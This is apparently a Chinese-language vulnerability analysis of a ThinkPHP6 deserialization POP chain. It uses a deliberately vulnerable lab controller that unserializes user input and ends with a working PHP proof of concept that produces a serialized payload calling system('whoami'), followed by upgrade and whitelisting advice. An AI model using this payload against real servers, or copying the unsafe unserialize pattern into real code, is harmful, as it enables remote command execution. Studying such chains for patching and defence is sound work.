Thinkphp6高版本反序列化toString新链调试挖掘
字数 1862 2025-08-22 12:23:19
ThinkPHP6 高版本反序列化漏洞分析与利用
漏洞概述
本文详细分析ThinkPHP6框架中存在的反序列化漏洞,该漏洞影响ThinkPHP6.0.12以下版本。攻击者可以通过精心构造的反序列化数据触发框架中的POP链,最终实现任意命令执行。
环境搭建
- 安装TP6.0.x版本:
composer create-project topthink/think=6.0.x tp6.0.9
- 修改入口文件
/app/controller/index.php:
<?php
namespace app\controller;
class Index {
public function index($input = '') {
echo $input;
unserialize($input);
}
}
POP链构建分析
反序列化入口点
在ThinkPHP6中,反序列化的入口点通常从__destruct()或__wakeup()方法开始。我们找到的关键类是think\model\Pivot,它是think\Model的子类。
前半链:触发toString
- Model类的
__destruct()方法会调用save()方法:
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
-
save()方法需要满足以下条件:
$this->isEmpty()返回false →$this->data不为空$this->trigger('BeforeWrite')返回true →$this->withEvent为false$this->exists为true → 调用updateData()
-
updateData()方法:
- 需要
$this->force为true → 直接返回$this->data - 调用
$this->checkAllowFields()
- 需要
-
checkAllowFields()方法:
- 当
$this->field和$this->schema都为空时,会执行else分支 - 调用
$this->db()方法
- 当
-
db()方法:
- 包含字符串拼接
$this->table . $this->suffix - 当
$this->table为对象时,会触发其__toString()方法
- 包含字符串拼接
前半链必要条件
$this->data不为空$this->lazySave为true$this->withEvent为false$this->exists为true$this->force为true
后半链:触发RCE
- toString()方法位于
Conversiontrait中:
public function __toString()
{
return $this->toJson();
}
- toJson()方法调用
toArray():
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
-
toArray()方法:
- 遍历
$this->data的键名 - 当
$this->visible[$key]存在时,调用getAttr($key)
- 遍历
-
getAttr()方法:
- 调用
getData($name)获取值 - 最终调用
getValue($name, $value, $relation)
- 调用
-
getValue()方法的关键利用点:
if (isset($this->withAttr[$fieldName])) {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
- 当
$this->withAttr[$fieldName]设置为系统函数名(如system)时,可以实现任意命令执行
后半链必要条件
$this->table设置为new think\model\Pivot()$this->data设置为["key"=>"command"](命令参数)$this->visible设置为["key"=>1]$this->withAttr设置为["key"=>"system"](函数名)$this->strict为true
POP链完整流程
__destruct()→save()save()→updateData()updateData()→checkAllowFields()checkAllowFields()→db()db()→$this->table . $this->suffix(字符串拼接)__toString()→toJson()toJson()→toArray()toArray()→getAttr()getAttr()→getValue()getValue()→ 执行$this->withAttr中指定的函数
漏洞利用POC
<?php
namespace think\model\concern;
trait Attribute {
private $data = ['cyz' => 'whoami'];
private $withAttr = ['cyz' => 'system'];
}
trait ModelEvent {
protected $withEvent = true;
}
namespace think;
abstract class Model {
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '') {
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
防御措施
- 升级ThinkPHP到6.0.12或更高版本
- 避免反序列化用户可控的输入
- 使用白名单机制限制反序列化的类
总结
该漏洞通过精心构造的反序列化数据,利用ThinkPHP6框架中的多个魔术方法和特性,构建了一条完整的POP链,最终实现了任意命令执行。理解这条POP链的构建过程对于分析其他PHP框架的反序列化漏洞也有很好的参考价值。